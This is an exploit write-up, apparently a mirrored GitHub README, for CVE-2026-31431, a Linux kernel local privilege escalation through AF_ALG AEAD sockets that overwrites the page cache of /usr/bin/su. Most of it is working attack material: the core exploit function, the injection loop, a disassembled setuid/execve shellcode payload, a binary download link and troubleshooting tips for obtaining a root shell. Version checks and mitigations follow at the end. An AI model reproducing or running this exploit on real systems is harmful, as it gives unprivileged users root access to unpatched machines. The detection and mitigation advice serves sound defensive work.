## https://sploitus.com/exploit?id=8E85655A-9B25-5462-B59B-DB0C43378B34
# CVE-2026-31431 β Local Privilege Escalation via AF_ALG
[](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
[](https://github.com/wesmar/CVE-2026-31431/releases/latest/download/CVE-2026-31431.zip)
> **2026-04-29 β I am publishing this exploit one day after sharing it on the [MyDigitalLife forum](https://forums.mydigitallife.net/threads/command-line-utility-to-turn-on-off-windows-defender-and-tamper-protection.89900/#post-1911610).** It does not require Python; it is written in C and compiled to the smallest possible size using:
> ```
> musl-gcc -static -Os -o exploit exploit.c -s
> ```
> **Critical threat. The exploit binary is compiled without dependencies and can be used to test for vulnerabilities on any Linux system**
>
> **CVE-2026-31431** is a NIST-confirmed vulnerability in the Linux kernel that allows an unprivileged local user to obtain a `root` shell in seconds. In light of the publicly circulating exploit for CVE-2026-31431, I have developed a binary proof-of-concept (PoC) to evaluate the exposure of our internal infrastructure. While some environments restrict the use of su, this vulnerability is particularly critical for shared servers because it targets the underlying kernel memory management. Consequently, any SETUID binaryβincluding sudo, passwd, mount, or newgrpβcan be leveraged to trigger the exploit and grant a root shell. Administrative action to patch the kernel is required immediately, as standard user-space restrictions are insufficient to mitigate this threat. **Any Linux system running an unpatched kernel is at risk.**
**My Own Working Exploit Β· Linux Kernel Β· AF_ALG cryptographic interface (AEAD)**
*Replaces `/usr/bin/su` in the kernel page cache without touching the on-disk file*
*Local shell access is sufficient β no additional privileges required*
*Affects unpatched Linux distributions*

---
## π Table of Contents
- [What is this vulnerability](#what-is-this-vulnerability)
- [Who is affected](#who-is-affected)
- [How the exploit works β step by step](#how-the-exploit-works--step-by-step)
- [Attack flow](#attack-flow)
- [Exploit code analysis](#exploit-code-analysis)
- [ELF payload β technical details](#elf-payload--technical-details)
- [How to check if you are vulnerable](#how-to-check-if-you-are-vulnerable)
- [Mitigations](#mitigations)
- [Researcher notes](#researcher-notes)
- [Disclaimer](#disclaimer)
---
## What is this vulnerability
CVE-2026-31431 is a bug in the handling of scatter-gather I/O operations and **page cache** references in the Linux kernel cryptographic subsystem β specifically in the `AF_ALG` socket implementation for AEAD algorithms (`crypto/af_alg.c`, `crypto/aead.c`).
| Property | Value |
|----------|-------|
| **Identifier** | CVE-2026-31431 |
| **Reference** | [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) |
| **Type** | Local Privilege Escalation (LPE) |
| **Component** | Linux Kernel β `AF_ALG` / AEAD (`authencesn`) |
| **Required access** | Unprivileged local user |
| **Impact** | Interactive `root` shell |
| **Exploit status** | **Working PoC publicly available on GitHub** |
| **Persistence** | None β modification exists in RAM only; reboot restores the original state |
### What actually happens
The Linux kernel exposes a cryptographic interface to user space through `AF_ALG` sockets. The vulnerability lies in the fact that during an AEAD decryption operation, the kernel **incorrectly maps the decryption output directly onto the page cache pages of the source file** β instead of a temporary buffer. An attacker can thereby overwrite the in-memory content of any file without modifying it on disk, without `root` privileges, and without leaving any visible trace in the filesystem.
---
## Who is affected
| System | Status |
|--------|--------|
| Ubuntu 24.04 (bare metal / VM) | β οΈ Vulnerable on unpatched kernel |
| Debian, Fedora, Arch on unpatched kernel | β οΈ Vulnerable |
| Distributions with `CONFIG_SECURITY_LOCKDOWN_LSM` | β Likely protected |
| Systems with `nosuid` or `ProtectSUID` (systemd) | β Protected |
| Systems with AppArmor/SELinux blocking `AF_ALG` | β Protected |
| macOS, Windows (native) | β Not affected |
---
## How the exploit works β step by step
The exploit consists of two components: a helper script at `/tmp/x` and a corruption loop based on `AF_ALG`. The following is an exact walkthrough based on source code analysis:
**1. Helper script setup**
The exploit creates `/tmp/x` with the following content:
```sh
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
```
It sets permissions to `0755`. The reason: `/usr/bin/su` strips environment variables (including `TERM`) on launch. The helper script restores them before spawning the real shell, ensuring a functional terminal.
**2. ELF payload construction**
A minimal 158-byte x86_64 ELF binary containing raw shellcode is built in memory. The string `/bin/sh` at offset 150 is then patched to `/tmp/x\0` via `memcmp`/`memcpy`. See [ELF Payload](#elf-payload--technical-details) for details.
**3. Opening `/usr/bin/su` read-only**
```c
int su_fd = open("/usr/bin/su", O_RDONLY);
```
The file is opened read-only β the exploit requires no write permissions whatsoever.
**4. Corruption loop β 39 iterations of 4 bytes each**
The payload (158 bytes) is processed in 4-byte chunks (39 complete chunks). Each chunk is passed through `corrupt_binary_chunk()`, which performs:
- Creates an `AF_ALG` socket (`SOCK_SEQPACKET`)
- Binds to `authencesn(hmac(sha256),cbc(aes))` β a compound AEAD algorithm
- Sets a 72-byte key and an authentication tag size of 4 bytes
- Accepts an operation socket (`op_sock`)
- Sends `sendmsg` with an 8-byte buffer (4Γ `'A'` + 4 payload bytes) and three CMSGs: `ALG_OP_DECRYPT`, IV (20 bytes), `assoclen=8`
- Performs `splice`: `su_fd β pipe β op_sock` (zero-copy through the kernel)
- Finalises via `recv()` β this is where the kernel erroneously overwrites the page cache
**5. Execution**
```c
execve("/usr/bin/su", args, NULL);
```
The kernel loads `/usr/bin/su` through the page cache β which is now poisoned. The SUID bit (`chmod u+s`) is intact, so the kernel executes the file as `root`. The shellcode runs `setuid(0)` β `execve("/tmp/x")` β interactive `root` shell.
---
## Attack flow
```mermaid
flowchart TD
A[Unprivileged local user] --> B["Creates /tmp/x helper script\nchmod 0755"]
B --> C["Builds 158-byte ELF payload\nPatch: /bin/sh β /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nNo write permissions needed"]
D --> E[Loop: 39 chunks of 4 bytes]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B key + authsize=4"]
H --> I[accept β op_sock]
I --> J["sendmsg: 8B data + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd β pipe β op_sock\nzero-copy through kernel"]
K --> L[recv β finalise AEAD operation]
L --> M["KERNEL BUG: decryption output\noverwrites page cache of su_fd"]
M --> N{Next chunk?}
N -->|Yes| E
N -->|No| O["execve /usr/bin/su"]
O --> P["Kernel loads /usr/bin/su\nfrom poisoned page cache"]
P --> Q["SUID bit intact\nkernel executes as root"]
Q --> R["Shellcode: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Interactive root shell]
```
---
## Exploit code analysis
Key sections of `exploit.c` reviewed below:
### `corrupt_binary_chunk()` function
The heart of the exploit. Each call coordinates one complete `AF_ALG` transaction:
```c
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Creates AF_ALG socket and binds to AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72-byte key + authentication tag size = 4 bytes
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Buffer: 4x 'A' as associated data + 4 payload bytes
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: DECRYPT operation / IV (20B, first byte 0x10) / assoclen=8
// sendmsg with MSG_MORE β data not yet complete
sendmsg(op_sock, &msg, MSG_MORE);
// zero-copy splice: su_fd β pipe β op_sock (offset+4 bytes)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv finalises the operation β kernel incorrectly writes to page cache of su_fd here
recv(op_sock, dummy, 8 + offset, 0);
}
```
### Main loop
```c
for (size_t i = 0; i len) break; // skips last 2 bytes (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 complete chunks Γ 4 bytes = 156 bytes applied
```
---
## ELF payload β technical details
The payload is a self-contained 158-byte x86_64 ELF binary with raw shellcode β no dynamic linker, no external libraries.
| Field | Details |
|-------|---------|
| **Total size** | 158 bytes |
| **ELF header** | 120 bytes (`e_type=2` EXEC, `e_machine=62` x86_64) |
| **Entry point** | `0x00400078` = offset 120 (immediately after the header) |
| **Shellcode** | 30 bytes (offsets 120β149) |
| **Target string** | 8 bytes at offset 150 (`/bin/sh\0` β patched to `/tmp/x\0`) |
| **4-byte chunks** | 39 complete (156 bytes); final 2 bytes skipped |
### Shellcode β disassembled
```nasm
; offset 120 β entry point 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi β "/tmp/x\0" (offset 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; offset 150
db "/tmp/x", 0, 0 ; (patched from "/bin/sh\0")
```
---
## How to check if you are vulnerable
### Step 1 β check kernel version
```bash
uname -r
```
Compare the output against the list of vulnerable versions published by NIST: [nvd.nist.gov/vuln/detail/CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
### Step 2 β check whether AF_ALG is available
```bash
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available β system may be vulnerable')"
```
If the command returns `[Errno 97] Address family not supported` β the module is disabled and the risk is significantly lower.
### Step 3 β check SUID on `/usr/bin/su`
```bash
ls -la /usr/bin/su
```
If the `s` bit is present (e.g. `-rwsr-xr-x`) β `/usr/bin/su` has SUID set and is the attack vector.
---
## Mitigations
| Mitigation | How to apply | Effectiveness |
|------------|-------------|---------------|
| **Kernel update** | `sudo apt update && sudo apt upgrade` + reboot | β Full (when patch is available) |
| **Blacklist AF_ALG module** | `echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf` | β Blocks the attack vector |
| **Remove SUID from `su`** | `sudo chmod u-s /usr/bin/su` | β Blocks this exploit (note: `su` will stop working) |
| **Mount `/tmp` with `noexec`** | Edit `/etc/fstab`: `tmpfs /tmp tmpfs noexec,nosuid 0 0` | β οΈ Partial β blocks `/tmp/x`, exploit may use another path |
| **AppArmor / SELinux** | Profile blocking `AF_ALG socket` for unprivileged users | β Effective with correct configuration |
### Temporary workaround (until kernel patch is available)
```bash
# Unload AF_ALG module if not needed
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel β cannot unload"
# Alternatively β remove SUID temporarily
sudo chmod u-s /usr/bin/su
```
---
## Researcher notes
*This section is intended for security researchers analysing the vulnerability in an isolated environment.*
### `socket()` or `bind()` fails
**Symptom:** `perror("socket")` or `perror("bind")` triggers exit.
**Causes:**
1. The kernel lacks support for `AF_ALG` or the `authencesn` algorithm β check: `cat /proc/crypto | grep authencesn`
2. Load required modules: `sudo modprobe hmac sha256 cbc aead authencesn`
3. AppArmor/SELinux is blocking `AF_ALG` socket creation β check logs: `dmesg | tail -20`
### `splice()` returns `EPERM` / `EINVAL`
**Symptom:** Splice operation rejected by kernel.
**Causes:**
1. Verify `su_fd` points to a regular file, not a symlink or device
2. Check `dmesg` for audit log entries blocking zero-copy into crypto sockets
3. Verify no LSM is intercepting the operation
### `execve` spawns a normal user shell
**Symptom:** No `root` prompt; `id` shows the original UID.
**Causes:**
1. `/usr/bin/su` is missing the SUID bit β `ls -la /usr/bin/su`, the `s` bit must be visible
2. Page cache may have been flushed before `execve` β add `sync` or reduce loop delay
3. The system has a patch for CVE-2026-31431 β verify the kernel version
### `/tmp/x` not found or `TERM` missing
**Symptom:** Shell spawns but terminal rendering is broken.
**Causes:**
1. Ensure `/tmp` is writable and not mounted with `noexec`
2. `/tmp/x` must have permissions `0755` β verify: `ls -la /tmp/x`
3. If `execve("/tmp/x")` fails β the shellcode can be re-patched to use `/bin/sh` directly
---
## Disclaimer
> **WARNING:** This document is published solely for informational, educational, and defensive purposes. It describes a publicly known threat identified by NIST and reported by the security community. Running the exploit on systems you do not own or lack explicit authorisation to test may violate applicable laws and result in criminal liability. Testing in isolated lab environments only.
All trademarks are the property of their respective owners. Linux and related marks are trademarks of the Linux Foundation.
---
*Last updated: 2026-04-29*